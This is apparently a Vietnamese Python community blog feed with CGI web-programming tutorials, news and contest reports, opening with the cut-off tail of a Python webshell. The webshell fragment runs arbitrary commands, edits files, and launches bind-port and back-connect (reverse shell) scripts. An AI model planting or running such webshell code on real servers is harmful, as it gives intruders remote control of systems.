<span class="n">cmd</span> <span class="o">+=</span> <span class="s2">"--include=</span><span class="si">%s</span><span class="s2"> "</span> <span class="o">%</span> <span class="n">exclude_pattern</span>
<span class="n">command_result</span> <span class="o">=</span> <span class="n">run_command</span><span class="p">(</span><span class="n">cmd</span><span class="p">)</span>
<span class="k">elif</span> <span class="n">command</span> <span class="o">==</span> <span class="s2">"edit_file"</span><span class="p">:</span>
<span class="n">file_name</span> <span class="o">=</span> <span class="n">get_param</span><span class="p">(</span><span class="n">form</span><span class="p">,</span><span class="s2">"file_name"</span><span class="p">)</span>
<span class="k">try</span><span class="p">:</span>
<span class="n">f</span> <span class="o">=</span> <span class="nb">open</span><span class="p">(</span><span class="n">file_name</span><span class="p">,</span><span class="s2">"r"</span><span class="p">)</span>
<span class="n">file_content</span> <span class="o">=</span> <span class="n">f</span><span class="o">.</span><span class="n">read</span><span class="p">()</span>
<span class="n">f</span><span class="o">.</span><span class="n">close</span><span class="p">()</span>
<span class="n">edit_file_box_visibility</span> <span class="o">=</span> <span class="s2">""</span>
<span class="k">except</span><span class="p">:</span>
<span class="n">command_result</span> <span class="o">=</span> <span class="s2">"Cannot open file"</span>
<span class="n">file_content</span> <span class="o">=</span> <span class="s2">""</span>
<span class="n">edit_file_box_visibility</span> <span class="o">=</span> <span class="s2">"None"</span>
<span class="k">elif</span> <span class="n">command</span> <span class="o">==</span> <span class="s2">"save_file"</span><span class="p">:</span>
<span class="n">file_name</span> <span class="o">=</span> <span class="n">get_param</span><span class="p">(</span><span class="n">form</span><span class="p">,</span><span class="s2">"file_name"</span><span class="p">)</span>
<span class="n">file_content</span> <span class="o">=</span> <span class="n">get_param</span><span class="p">(</span><span class="n">form</span><span class="p">,</span><span class="s2">"file_content"</span><span class="p">)</span>
<span class="k">try</span><span class="p">:</span>
<span class="n">f</span> <span class="o">=</span> <span class="nb">open</span><span class="p">(</span><span class="n">file_name</span><span class="p">,</span><span class="s2">"w"</span><span class="p">)</span>
<span class="n">f</span><span class="o">.</span><span class="n">write</span><span class="p">(</span><span class="n">file_content</span><span class="p">)</span>
<span class="n">f</span><span class="o">.</span><span class="n">close</span><span class="p">()</span>
<span class="n">command_result</span> <span class="o">=</span> <span class="s2">"Successful"</span>
<span class="k">except</span><span class="p">:</span>
<span class="n">command_result</span> <span class="o">=</span> <span class="s2">"Cannot write to file"</span>
<span class="k">elif</span> <span class="n">command</span> <span class="o">==</span> <span class="s2">"bind_port"</span><span class="p">:</span>
<span class="n">port</span> <span class="o">=</span> <span class="n">get_param</span><span class="p">(</span><span class="n">form</span><span class="p">,</span><span class="s2">"port"</span><span class="p">)</span>
<span class="n">password</span> <span class="o">=</span> <span class="n">get_param</span><span class="p">(</span><span class="n">form</span><span class="p">,</span><span class="s2">"password"</span><span class="p">)</span>
<span class="n">file_name</span> <span class="o">=</span> <span class="n">put_script</span><span class="p">(</span><span class="s2">"bp"</span><span class="p">,</span><span class="n">bind_port</span><span class="p">)</span>
<span class="n">pid</span> <span class="o">=</span> <span class="n">subprocess</span><span class="o">.</span><span class="n">Popen</span><span class="p">([</span><span class="s2">"python </span><span class="si">%s</span><span class="s2"> </span><span class="si">%s</span><span class="s2"> </span><span class="si">%s</span><span class="s2">"</span> <span class="o">%</span> <span class="p">(</span><span class="n">file_name</span><span class="p">,</span><span class="n">port</span><span class="p">,</span><span class="n">password</span><span class="p">)],</span><span class="n">shell</span><span class="o">=</span><span class="kc">True</span><span class="p">)</span><span class="o">.</span><span class="n">pid</span>
<span class="n">command_result</span> <span class="o">=</span> <span class="s2">"Process ID : </span><span class="si">%d</span><span class="s2"> "</span> <span class="o">%</span> <span class="n">pid</span>
<span class="k">elif</span> <span class="n">command</span> <span class="o">==</span> <span class="s2">"back_connect"</span><span class="p">:</span>
<span class="n">port</span> <span class="o">=</span> <span class="n">get_param</span><span class="p">(</span><span class="n">form</span><span class="p">,</span><span class="s2">"port"</span><span class="p">)</span>
<span class="n">ip</span> <span class="o">=</span> <span class="n">get_param</span><span class="p">(</span><span class="n">form</span><span class="p">,</span><span class="s2">"ip"</span><span class="p">)</span>
<span class="n">file_name</span> <span class="o">=</span> <span class="n">put_script</span><span class="p">(</span><span class="s2">"bc"</span><span class="p">,</span><span class="n">back_connect</span><span class="p">)</span>
<span class="n">pid</span> <span class="o">=</span> <span class="n">subprocess</span><span class="o">.</span><span class="n">Popen</span><span class="p">([</span><span class="s2">"python </span><span class="si">%s</span><span class="s2"> </span><span class="si">%s</span><span class="s2"> </span><span class="si">%s</span><span class="s2">"</span> <span class="o">%</span> <span class="p">(</span><span class="n">file_name</span><span class="p">,</span><span class="n">ip</span><span class="p">,</span><span class="n">port</span><span class="p">)],</span><span class="n">shell</span><span class="o">=</span><span class="kc">True</span><span class="p">)</span><span class="o">.</span><span class="n">pid</span>
<span class="n">command_result</span> <span class="o">=</span> <span class="s2">"Process ID : </span><span class="si">%d</span><span class="s2"> "</span> <span class="o">%</span> <span class="n">pid</span>
<span class="k">elif</span> <span class="n">command</span> <span class="o">!=</span> <span class="kc">None</span><span class="p">:</span>
<span class="n">command_result</span> <span class="o">=</span> <span class="n">run_command</span><span class="p">(</span><span class="n">command</span><span class="p">)</span>
<span class="n">list_files</span> <span class="o">=</span> <span class="n">run_command</span><span class="p">(</span><span class="s2">"ls -alh "</span> <span class="o">+</span> <span class="n">cur_dir</span><span class="p">)</span>
<span class="nb">print</span> <span class="n">html</span><span class="o">.</span><span class="n">substitute</span><span class="p">(</span><span class="n">environ_table</span><span class="o">=</span><span class="n">get_environ_table</span><span class="p">(),</span>
<span class="n">uname</span> <span class="o">=</span> <span class="n">uname</span><span class="p">,</span>
<span class="n">uid</span> <span class="o">=</span> <span class="n">uid</span><span class="p">,</span>
<span class="n">list_files</span> <span class="o">=</span> <span class="n">list_files</span><span class="p">,</span>
<span class="n">cur_dir</span> <span class="o">=</span> <span class="n">cur_dir</span><span class="p">,</span>
<span class="n">command_result</span> <span class="o">=</span> <span class="n">command_result</span><span class="p">,</span>
<span class="n">file_content</span> <span class="o">=</span> <span class="n">file_content</span><span class="p">,</span>
<span class="n">file_name</span> <span class="o">=</span> <span class="n">file_name</span><span class="p">,</span>
<span class="n">edit_file_box_visibility</span> <span class="o">=</span> <span class="n">edit_file_box_visibility</span>
<span class="p">)</span>
<span class="k">if</span> <span class="vm">__name__</span> <span class="o">==</span> <span class="s1">'__main__'</span><span class="p">:</span>
<span class="n">main</span><span class="p">()</span>
</pre></div>
Trao giải cuộc thi viết webshell bằng Python2010-05-17T05:17:00+07:002010-05-17T05:17:00+07:00Lê Ngọc Hiếutag:None,2010-05-17:2010/05/trao-giai-cuoc-thi-viet-webshell-bang-python.html<p>Ngày 16/05/2010 tại quán cafe K&K đã diễn ra buổi lễ trao giải cho cuộc thi viết webshell bằng python. Tại buổi lễ, anh Nguyễn Thành Nam là trưởng nhóm Python cho người Việt đã trao giải nhất của cuộc thi cho bạn Phan Đắc Anh Huy …</p><p>Ngày 16/05/2010 tại quán cafe K&K đã diễn ra buổi lễ trao giải cho cuộc thi viết webshell bằng python. Tại buổi lễ, anh Nguyễn Thành Nam là trưởng nhóm Python cho người Việt đã trao giải nhất của cuộc thi cho bạn Phan Đắc Anh Huy với phần thưởng là 100.000 đồng.</p>
<div class="figure">
<img alt="" src="/static/webshell_programming_contest.jpg" />
<p class="caption">Hình: anh Nguyễn Thành Nam trao giải cho bạn Phan Đắc Anh Huy</p>
</div>
<p>Cuộc thi lần này đã thu hút sự tham gia của nhiều bạn trẻ hơn so với cuộc thi viết game bằng Python lần trước. Theo anh Nam, chất lượng cuộc thi lần này đã khá hơn hẳn lần trước. Điều đó chứng tỏ trình độ lập trình bằng Python và cộng đồng sử dụng Python đã và đang lớn mạnh hơn. Đây cũng chính là mục đích của trang mạng Python cho người Việt được lập ra.</p>
<p>Sau lễ trao giải, nhóm cũng đã có buổi thảo luận sôi nổi về việc sẽ thúc đẩy sinh hoạt gặp mặt trực tiếp nhằm nâng cao hơn nữa tay nghề. Hy vọng đây sẽ là một hoạt động bổ ích và thiết thực cho các bạn trẻ ham học hỏi. Bạn Hoàng Quốc Thịnh - người đã đoạt giải nhất trong cuộc thi lần trước - chia sẻ:</p>
<blockquote>
Mình nghĩ không nên lạm dụng việc sinh hoạt trực tuyến nhiều quá, sinh hoạt trực tiếp gặp mặt có điểm lợi hơn đó là việc cái 'lửa' sẽ được tận mắt nhìn thấy và truyền cho nhau. Điều này, sinh hoạt trực tuyến không có được.</blockquote>
<p>Anh Nam cũng có cùng nhận định như trên và đang chuẩn bị cho những hoạt động đẩy mạnh trong thời gian sắp tới.</p>
<p>K&K, 15:03 16/05/2010</p>
Python 2.7 beta 1 ra mắt2010-04-18T11:00:00+07:002010-04-18T11:00:00+07:00Võ Đức Phươngtag:None,2010-04-18:2010/04/python-27-beta-1-ra-mat.html<p>Python 2.7 là phiên bản cuối cùng của Python 2 trước khi chuyển sang chế độ chỉ sửa lỗi, không thêm tính năng vào họ phiên bản này nữa. Tương tự như 2.6, phiên bản này sẽ chú trọng vào việc thêm vào những tính năng của Python …</p><p>Python 2.7 là phiên bản cuối cùng của Python 2 trước khi chuyển sang chế độ chỉ sửa lỗi, không thêm tính năng vào họ phiên bản này nữa. Tương tự như 2.6, phiên bản này sẽ chú trọng vào việc thêm vào những tính năng của Python 3 (chính xác là Python 3.1). Những cải tiến của phiên bản này bao gồm:</p>
<ul class="simple">
<li>Thêm loại từ điển có sắp xếp</li>
<li>Thêm một số tính năng cho unittest như bỏ qua kiểm tra hay các phương pháp kiểm định mới.</li>
<li>Mô đun <tt class="docutils literal">io</tt> mới cho tốc độ nhanh hơn</li>
<li>Tự đánh số các trường với phương pháp <tt class="docutils literal">str.format()</tt></li>
<li>Mô đun <tt class="docutils literal">sysconfig</tt> mới.</li>
</ul>
<p>... cùng nhiều thay đổi khác nữa. Thông tin chi tiết về phiên bản này có thể được xem tại:</p>
<p><a class="reference external" href="http://docs.python.org/dev/whatsnew/2.7.html">Có những gì mới trong Python 2.7</a></p>
<p><a class="reference external" href="http://svn.python.org/projects/python/tags/r27b1/Misc/NEWS">Danh sách các thay đổi của Python 2.7</a></p>
Lập trình web với Python (4)2010-03-10T05:46:00+07:002010-03-10T05:46:00+07:00Nguyễn Thành Namtag:None,2010-03-10:2010/03/lap-trinh-web-voi-python-4.html<p>Trong kỳ này, chúng ta sẽ xem xét một chương trình CGI có xử lý dữ liệu nhập.</p>
<p>Ở kỳ trước, chúng ta đã biết cấu trúc chung của một chương trình CGI. Chương trình CGI mà chúng ta dùng làm ví dụ không thật sự hữu dụng vì chúng …</p><p>Trong kỳ này, chúng ta sẽ xem xét một chương trình CGI có xử lý dữ liệu nhập.</p>
<p>Ở kỳ trước, chúng ta đã biết cấu trúc chung của một chương trình CGI. Chương trình CGI mà chúng ta dùng làm ví dụ không thật sự hữu dụng vì chúng chỉ xuất giá trị ngẫu nhiên.</p>
<p>Một chương trình CGI hữu dụng thường sẽ nhận dữ liệu nhập qua các mẫu đơn (form), xử lý các dữ liệu này, và trả về kết quả.</p>
<p>Các dữ liệu nhập được truyền đến ứng dụng web ở dạng bộ 2 (khóa, giá trị) (key-value pair). Ví dụ nếu chúng ta điền vào một mẫu đơn có trường nhập tên là <strong>name</strong> và giá trị của nó là <strong>Nguyễn Việt Nam</strong> thì khóa sẽ là <strong>name</strong> và giá trị là <strong>Nguyễn Việt Nam</strong>. Thông thường có hai phương thức truyền dữ liệu đến ứng dụng web là GET và POST.</p>
<p>Trong phương thức <strong>GET</strong>, các bộ 2 (khóa, giá trị) này sẽ được truyền qua URL. Với ví dụ ở trên, URL sẽ có dạng <strong>http://host/path?name=Nguyễn+Việt+Nam</strong>. Bạn đọc sẽ chú ý các điểm quan trọng sau:</p>
<ol class="arabic simple">
<li>Đi ngay phía sau đường dẫn đến ứng dụng CGI là một dấu chấm hỏi (<strong>?</strong>). Ký tự này dùng để thông báo phần phía sau là dữ liệu nhập.</li>
<li>Phân cách giữa khóa và giá trị của dữ liệu nhập là dấu bằng (<strong>=</strong>).</li>
<li>Khóa và giá trị được chuyển mã theo dạng phù hợp. Chúng ta thấy rằng ký tự khoảng trắng được chuyển thành ký tự cộng (<strong>+</strong>). Việc chuyển mã này nhằm làm cho URL không chứa các ký tự đặc biệt có thể gây nhầm lẫn.</li>
<li>Không được nêu rõ trong ví dụ là ký tự phân cách các bộ 2 (khóa, giá trị) là ký tự và (<strong>&</strong>).</li>
</ol>
<p>Trong phương thức <strong>POST</strong>, các bộ 2 (khóa, giá trị) được truyền trong nội dung yêu cầu HTTP, và không hiện rõ cho người dùng.</p>
<p>Hãy thử nghiệm với chương trình ví dụ sau (đặt tên nó là <strong>fp.py</strong>):</p>
<div class="highlight"><pre><span></span><span class="ch">#!c:/python26/python</span>
<span class="nb">print</span> <span class="s2">"Content-Type: text/html"</span>
<span class="nb">print</span>
<span class="nb">print</span> <span class="s2">"""<html></span>
<span class="s2"> <head></span>
<span class="s2"> <title>CGI form processing</title></span>
<span class="s2"> </head></span>
<span class="s2"> <body></span>
<span class="s2"> <fieldset></span>
<span class="s2"> <legend>Number guessing game</legend></span>
<span class="s2"> <form method="POST"></span>
<span class="s2"> <label for="number">Enter a number</label></span>
<span class="s2"> <input type="text" name="number" value="" /></span>
<span class="s2"> <input type="submit" /></span>
<span class="s2"> </form></span>
<span class="s2"> </fieldset></span>
<span class="s2"> </body></span>
<span class="s2"></html></span>
<span class="s2">"""</span>
</pre></div>
<p>Kết quả mà chúng ta nhận được là một mẫu đơn như hình:</p>
<img alt="" src="/static/web-programming/cgi/form1.png" />
<p>Một số điểm quan trọng trong chương trình này là sự sử dụng các thẻ liên quan đến mẫu đơn.</p>
<ol class="arabic simple">
<li>Trước hết là thẻ <strong>form</strong> dùng để thông báo sự bắt đầu của một mẫu đơn. Các thuộc tính (attribute) thông thường của thẻ này gồm <strong>method</strong> và <strong>action</strong>.<ol class="arabic">
<li>Thuộc tính <strong>method</strong> xác định phương thức truyền dữ liệu. Chúng ta có thể sử dụng <tt class="docutils literal">GET</tt> hoặc <tt class="docutils literal">POST</tt>.</li>
<li>Thuộc tính <strong>action</strong> xác định đường dẫn đến chương trình CGI sẽ xử lý mẫu đơn này. Nếu không xác định thì chính địa chỉ hiện tại sẽ được dùng.</li>
</ol>
</li>
<li>Thẻ <strong>input</strong> xác định một trường nhập. Thẻ này có các thuộc tính chính là <strong>type</strong>, <strong>name</strong>, và <strong>value</strong>.<ol class="arabic">
<li>Thuộc tính <strong>type</strong> xác định kiểu nhập là một ô nhập (text box), một nút nhấn (button), một nút chọn (radio button), hoặc một tập tin (file). Ở ví dụ này chúng ta xác định một ô nhập với kiểu <strong>text</strong>.</li>
<li>Thuộc tính <strong>name</strong> xác định khóa của bộ 2. Trong ví dụ này khóa nhập là <strong>number</strong>.</li>
<li>Thuộc tính <strong>value</strong> xác định giá trị khởi đầu của trường nhập này. Chúng ta để trống.</li>
</ol>
</li>
<li>Thẻ <strong>input</strong> với thuộc tính <strong>type</strong> là <strong>submit</strong> sẽ tạo một nút nhấn. Nút nhấn này đặc biệt vì nó sẽ gửi các giá trị chúng ta nhập vào mẫu đơn đến chương trình CGI.</li>
</ol>
<p>Thông tin chi tiết về các thẻ HTML có thể được xem thêm từ các tài liệu từ <a class="reference external" href="http://www.w3c.org">W3C</a>.</p>
<p>Chương trình này cũng chỉ là in ra một mẫu đơn nhưng chúng ta đã có thể nhấn nút để gửi mẫu đơn đó đi.</p>
<p>Chúng ta sẽ sửa nó để in lại những gì đã nhận từ trình duyệt.</p>
<div class="highlight"><pre><span></span><span class="ch">#!c:/python26/python</span>
<span class="kn">import</span> <span class="nn">cgi</span>
<span class="nb">print</span> <span class="s2">"Content-Type: text/html"</span>
<span class="nb">print</span>
<span class="nb">print</span> <span class="s2">"""<html></span>
<span class="s2"> <head></span>
<span class="s2"> <title>CGI form processing</title></span>
<span class="s2"> </head></span>
<span class="s2"> <body></span>
<span class="s2"> <fieldset></span>
<span class="s2"> <legend>Number guessing game</legend></span>
<span class="s2"> <form method="POST"></span>
<span class="s2"> <label for="number">Enter a number</label></span>
<span class="s2"> <input type="text" name="number" value="" /></span>
<span class="s2"> <input type="submit" /></span>
<span class="s2"> </form></span>
<span class="s2"> </fieldset></span>
<span class="s2">"""</span>
<span class="n">form</span> <span class="o">=</span> <span class="n">cgi</span><span class="o">.</span><span class="n">FieldStorage</span><span class="p">()</span>
<span class="k">if</span> <span class="n">form</span><span class="o">.</span><span class="n">has_key</span><span class="p">(</span><span class="s1">'number'</span><span class="p">):</span>
<span class="nb">print</span> <span class="s2">"""You have entered: </span><span class="si">%s</span><span class="s2">"""</span> <span class="o">%</span> <span class="n">form</span><span class="o">.</span><span class="n">getfirst</span><span class="p">(</span><span class="s1">'number'</span><span class="p">)</span>
<span class="nb">print</span> <span class="s2">"""</body></span>
<span class="s2"></html></span>
<span class="s2">"""</span>
</pre></div>
<p>Điều đầu tiên chúng ta nhận ra là sự sử dụng mô-đun <strong>cgi</strong>. Mô-đun này cho phép chúng ta tạo một đối tượng <strong>FieldStorage</strong>. Đối tượng FieldStorage chứa các bộ 2 (khóa, giá trị) chúng ta nhận được từ trình duyệt trong một cấu trúc như kiểu từ điển. Do đó chúng ta có thể dùng phương thức <strong>has_key</strong> để kiểm tra sự tồn tại của khóa tương ứng. Để lấy giá trị từ FieldStorage ta có thể dùng <strong>form['number'].value</strong> hoặc gọi các hàm như <strong>getvalue</strong>, <strong>getfirst</strong>, hay <strong>getlist</strong>. Các hàm này được đề cập đến một cách chi tiết trong bộ tài liệu sử dụng Python.</p>
<p>Nếu tinh ý, chúng ta sẽ thấy rằng khi dữ liệu nhập chứa các thẻ HTML hợp lệ thì kết quả xuất ra sẽ hiển thị cả những thẻ HTML này. Ví dụ khi ta nhập <strong>Nguyễn <b>Việt</b> Nam</strong>.</p>
<img alt="" src="/static/web-programming/cgi/form2.png" />
<p>Điều này có thể là đúng theo ý định, hoặc cũng thể nằm ngoài mong muốn. Chúng ta gọi đây là các lỗi <a class="reference external" href="http://www.owasp.org/index.php/Cross-site_Scripting_(XSS)">kịch bản chéo trang (Cross Site Scripting, XSS)</a>. Cách khắc phục là trước khi hiển thị các chuỗi không nằm trong kiểm soát của chương trình (ví dụ như dữ liệu nhập, dữ liệu xuất từ hệ thống khác, v.v...), chúng ta sẽ cần chuyển mã các ký tự đặc biệt. Mô-đun <tt class="docutils literal">cgi</tt> cung cấp hàm <strong>escape</strong> để làm việc này. Mã nguồn mới sẽ gói <strong>getfirst</strong> trong <strong>cgi.escape</strong> như sau:</p>
<div class="highlight"><pre><span></span><span class="ch">#!c:/python26/python</span>
<span class="kn">import</span> <span class="nn">cgi</span>
<span class="nb">print</span> <span class="s2">"Content-Type: text/html"</span>
<span class="nb">print</span>
<span class="nb">print</span> <span class="s2">"""<html></span>
<span class="s2"> <head></span>
<span class="s2"> <title>CGI form processing</title></span>
<span class="s2"> </head></span>
<span class="s2"> <body></span>
<span class="s2"> <fieldset></span>
<span class="s2"> <legend>Number guessing game</legend></span>
<span class="s2"> <form method="POST"></span>
<span class="s2"> <label for="number">Enter a number</label></span>
<span class="s2"> <input type="text" name="number" value="" /></span>
<span class="s2"> <input type="submit" /></span>
<span class="s2"> </form></span>
<span class="s2"> </fieldset></span>
<span class="s2">"""</span>
<span class="n">form</span> <span class="o">=</span> <span class="n">cgi</span><span class="o">.</span><span class="n">FieldStorage</span><span class="p">()</span>
<span class="k">if</span> <span class="n">form</span><span class="o">.</span><span class="n">has_key</span><span class="p">(</span><span class="s1">'number'</span><span class="p">):</span>
<span class="nb">print</span> <span class="s2">"""You have entered: </span><span class="si">%s</span><span class="s2">"""</span> <span class="o">%</span> <span class="n">cgi</span><span class="o">.</span><span class="n">escape</span><span class="p">(</span> \
<span class="n">form</span><span class="o">.</span><span class="n">getfirst</span><span class="p">(</span><span class="s1">'number'</span><span class="p">),</span> <span class="kc">True</span><span class="p">)</span>
<span class="nb">print</span> <span class="s2">"""</body></span>
<span class="s2"></html></span>
<span class="s2">"""</span>
</pre></div>
<p>Giờ đây, chuỗi được xuất ra sẽ giống hệt với chuỗi nhập.</p>
<img alt="" src="/static/web-programming/cgi/form3.png" />
<p>Chúng ta cũng có thể thử với phương thức GET bằng cách nhập thẳng URL <strong>http://localhost/cgi-bin/fp.py?number=Nguyễn+<b>Việt</b>+Nam</strong>. Chúng ta cũng sẽ nhận được kết quả tương tự.</p>
<p>Vậy là qua hai phần chúng ta đã tìm hiểu về cách hoạt động của một chương trình CGI. Điểm mạnh của giao thức CGI là tính đơn giản và an toàn cao vì mỗi yêu cầu được một tiến trình riêng xử lý. Cũng chính vì mô hình đơn giản như vậy nên CGI gặp phải nhiều cản trở trong việc phát triển. Cản trở đầu tiên là chương trình CGI phải tự xử lý trạng thái giữa các yêu cầu kế tiếp nhau, hay còn gọi là phiên làm việc (session). Cản trở thứ hai là chương trình CGI sẽ phải được thiết kế đặc biệt nếu muốn sử dụng các biến có phạm vi toàn ứng dụng (application scope). Cuối cùng, chương trình CGI chạy chậm hơn và tốn tài nguyên hơn vì mỗi yêu cầu phải được xử lý riêng.</p>
<p>Trong các phần tới, chúng ta sẽ xem qua cách hoạt động của những công nghệ tiên tiến, giải quyết được các điểm yếu của giao thức CGI.</p>
Trao giải cuộc thi lập trình game bằng Python2010-02-05T03:56:00+07:002010-02-05T03:56:00+07:00Nguyễn Thành Namtag:None,2010-02-05:2010/02/trao-giai-cuoc-thi-lap-trinh-game-bang-python.html<p>Ngày 04 tháng 02 năm 2009, nhóm PCNV đã trao giải cuộc thi lập trình game với ngôn ngữ Python cho bạn <strong>Hoàng Quốc Thịnh</strong>.</p>
<p>Cuộc thi lập trình game với ngôn ngữ Python là một trong những hoạt động của nhóm PCNV nhằm lôi cuốn sự tham gia tìm …</p><p>Ngày 04 tháng 02 năm 2009, nhóm PCNV đã trao giải cuộc thi lập trình game với ngôn ngữ Python cho bạn <strong>Hoàng Quốc Thịnh</strong>.</p>
<p>Cuộc thi lập trình game với ngôn ngữ Python là một trong những hoạt động của nhóm PCNV nhằm lôi cuốn sự tham gia tìm hiểu và khuyến khích sáng tạo trong việc sử dụng ngôn ngữ Python.</p>
<p>Ngôn ngữ Python là một ngôn ngữ mạnh, đơn giản, và tổng quát. Ngoài việc được sử dụng trong các tổ chức lớn như Google, và NASA, Python còn được dùng để viết nên những trò chơi như EVE-Online với cả triệu người chơi, hay <strong>Ruồi Yêu Cứt</strong> với giải thưởng lập trình game bằng Python đầu tiên.</p>
<p>Xin chúc mừng bạn Hoàng Quốc Thịnh.</p>
<p>Hình bên dưới là bạn Nguyễn Thành Nam đại diện nhóm PCNV đang trao giải cho bạn Hoàng Quốc Thịnh trong bữa ăn thân mật. Hình chụp bởi nhiếp ảnh gia Thành Nguyễn (Malaysia) và sửa đôi chút bởi nhiếp ảnh gia Nguyễn Duy Thọ.</p>
<img alt="" src="/static/game_programming_contest_prize.png" />
Lập trình web với Python (3)2010-01-28T09:52:00+07:002010-01-28T09:52:00+07:00Nguyễn Thành Namtag:None,2010-01-28:2010/01/lap-trinh-web-voi-python-3.html<p>Sau khi đã cài đặt máy chủ web, và Python ở hai bài trước, trong bài này chúng ta sẽ bước vào thế giới lập trình web với mô hình đơn giản nhất, mô hình CGI.</p>
<p>CGI là viết tắt của Common Gateway Interface, dịch chính xác là giao tiếp …</p><p>Sau khi đã cài đặt máy chủ web, và Python ở hai bài trước, trong bài này chúng ta sẽ bước vào thế giới lập trình web với mô hình đơn giản nhất, mô hình CGI.</p>
<p>CGI là viết tắt của Common Gateway Interface, dịch chính xác là giao tiếp cổng chung. Giao thức này được sinh ra để chuẩn hóa (hay xác định rõ) cách thức một máy chủ web giao phó việc tạo trang web cho các ứng dụng console (các ứng dụng nhận dữ liệu từ bộ nhập chuẩn và xuất ra bộ xuất chuẩn). Các ứng dụng này được gọi là các ứng dụng CGI, hay kịch bản CGI vì chúng thường được viết bằng ngôn ngữ kịch bản, mặc dù chúng cũng có thể được viết bằng các ngôn ngữ khác như C, Java.</p>
<div class="section" id="mo-hinh-hoat-dong">
<h2>Mô hình hoạt động</h2>
<p>Thông thường, một máy chủ web nhận yêu cầu từ máy khách và tìm kiếm trên hệ thống xem có tập tin mà máy khách cần truy xuất hay không. Nếu có thì máy chủ web sẽ xuất nội dung của tập tin này cho máy khách.</p>
<p>Trong giao thức CGI, máy chủ web nhận yêu cầu từ máy khách, tìm kiếm trên hệ thống xem có ứng dụng CGI đó không. Nếu có thì máy chủ web sẽ thực thi ứng dụng CGI, chuyển toàn bộ yêu cầu đến ứng dụng thông qua các biến môi trường và bộ nhập chuẩn. Ứng dụng CGI sẽ xử lý yêu cầu rồi gửi trả thông tin cho máy chủ web qua bộ xuất chuẩn. Máy chủ web sẽ nhận thông tin từ bộ xuất chuẩn của ứng dụng CGI để xuất trả lại cho máy khách. Mô hình hoạt động của giao thức CGI được miêu tả trong hình sau.</p>
<img alt="" src="/static/web-programming/cgi/cgi-model.png" />
</div>
<div class="section" id="hello-world">
<h2>Hello World</h2>
<p>Để hiểu rõ hơn cách hoạt động, chúng ta sẽ tạo một tập tin <strong>helloworld.py</strong> trong thư mục <strong>C:\Program Files\Apache Software Foundation\Apache2.2\cgi-bin</strong> với nội dung như sau:</p>
<div class="highlight"><pre><span></span><span class="ch">#!c:/python26/python</span>
<span class="nb">print</span> <span class="s2">"Content-Type: text/html"</span>
<span class="nb">print</span> <span class="s2">""</span>
<span class="nb">print</span> <span class="s2">"Hello world."</span>
</pre></div>
<p>Trước khi giải thích từng dòng lệnh, chúng ta sẽ xem xem kết quả đạt được là gì. Chúng ta sẽ dùng trình duyệt để vào trang <strong>http://localhost/cgi-bin/helloworld.py</strong>. Dĩ nhiên chúng ta cũng phải đảm bảo rằng máy chủ Apache đang chạy. Và đây là hình mà chúng ta nhận được.</p>
<img alt="" src="/static/web-programming/cgi/helloworld.png" />
</div>
<div class="section" id="cac-yeu-to-chinh-cua-chuong-trinh-cgi">
<h2>Các yếu tố chính của chương trình CGI</h2>
<p>Như thế, chương trình CGI đầu tiên đã thực thi hoàn chỉnh. Hãy quay lại xem các yếu tố căn bản của một chương trình CGI viết bằng ngôn ngữ Python.</p>
<p>Dòng đầu tiên được gọi là dòng <strong>shebang</strong> với hai ký tự đặc biệt <strong>#!</strong>. Phần đi ngay sau hai ký tự này là đường dẫn tuyệt đối đến trình thông dịch Python trên hệ thống. Dòng này nói cho máy chủ web biết rằng tập tin này cần được đọc bởi trình thông dịch Python.</p>
<p>Dòng lệnh <tt class="docutils literal">print</tt> thứ nhất cung cấp một đầu mục (header) cho máy chủ web. Đầu mục này là <strong>Content-Type</strong> với nội dung là <strong>text/html</strong>. Đây là đầu mục bắt buộc trong giao thức HTTP, do đó các ứng dụng CGI thông thường phải cung cấp đầu mục này.</p>
<p>Dòng lệnh in thứ hai (in ra một dòng trống) báo hiệu sự kết thúc của các đầu mục, và những gì theo sau sẽ là dữ liệu nội dung. Dòng lệnh này là bắt buộc.</p>
<p>Dòng lệnh in thứ ba xuất nội dung chính, là chuỗi <strong>Hello world.</strong>.</p>
<p>Các dòng lệnh này là những yếu tố chính cấu tạo nên một chương trình CGI viết bằng ngôn ngữ Python. Điểm quan trọng nhất mà chúng ta cần lưu ý là việc xuất dữ liệu thông qua bộ xuất chuẩn (stdout), và định dạng của dữ liệu cần xuất (đầu mục, dòng trống, nội dung).</p>
</div>
<div class="section" id="them-vao-cac-the-html">
<h2>Thêm vào các thẻ HTML</h2>
<p>Chương trình của chúng ta khá buồn tẻ vì chúng ta khai báo <strong>Content-Type</strong> là <strong>text/html</strong> nhưng chúng ta không dùng thẻ HTML. Chúng ta hãy sửa lại chương trình như sau:</p>
<div class="highlight"><pre><span></span><span class="ch">#!c:/python26/python</span>
<span class="nb">print</span> <span class="s2">"Content-Type: text/html"</span>
<span class="nb">print</span> <span class="s2">""</span>
<span class="nb">print</span> <span class="s2">"""<html></span>
<span class="s2"> <head></span>
<span class="s2"> <title>Python!</title></span>
<span class="s2"> </head></span>
<span class="s2"> <body></span>
<span class="s2"> <font size="+3">H</font>ello <font color="red">HTML</font>.</span>
<span class="s2"> </body></span>
<span class="s2"></html>"""</span>
</pre></div>
<p>Quay lại trình duyệt và làm tươi (F5, hay Ctrl-R), chúng ta sẽ thấy hình như sau:</p>
<img alt="" src="/static/web-programming/cgi/hellohtml.png" />
</div>
<div class="section" id="content-type-la-quan-trong">
<h2>Content-Type là quan trọng</h2>
<p>Những gì chúng ta vừa thực hiện là thay đổi nội dung mà chúng ta xuất ra bộ xuất chuẩn.</p>
<p>Bây giờ, giữ cùng nội dung đấy, nhưng chúng ta thay đổi đầu mục <strong>Content-Type</strong> thành <strong>text/plain</strong>.</p>
<div class="highlight"><pre><span></span><span class="ch">#!c:/python26/python</span>
<span class="nb">print</span> <span class="s2">"Content-Type: text/plain"</span>
<span class="nb">print</span> <span class="s2">""</span>
<span class="nb">print</span> <span class="s2">"""<html></span>
<span class="s2"> <head></span>
<span class="s2"> <title>Python!</title></span>
<span class="s2"> </head></span>
<span class="s2"> <body></span>
<span class="s2"> <font size="+3">H</font>ello <font color="red">HTML</font>.</span>
<span class="s2"> </body></span>
<span class="s2"></html>"""</span>
</pre></div>
<p>Thử xem trang này với các trình duyệt <strong>chuẩn</strong> ví dụ Opera, hoặc Firefox thì chúng ta sẽ nhận được hình tương tự như sau:</p>
<img alt="" src="/static/web-programming/cgi/hellohtmlplain.png" />
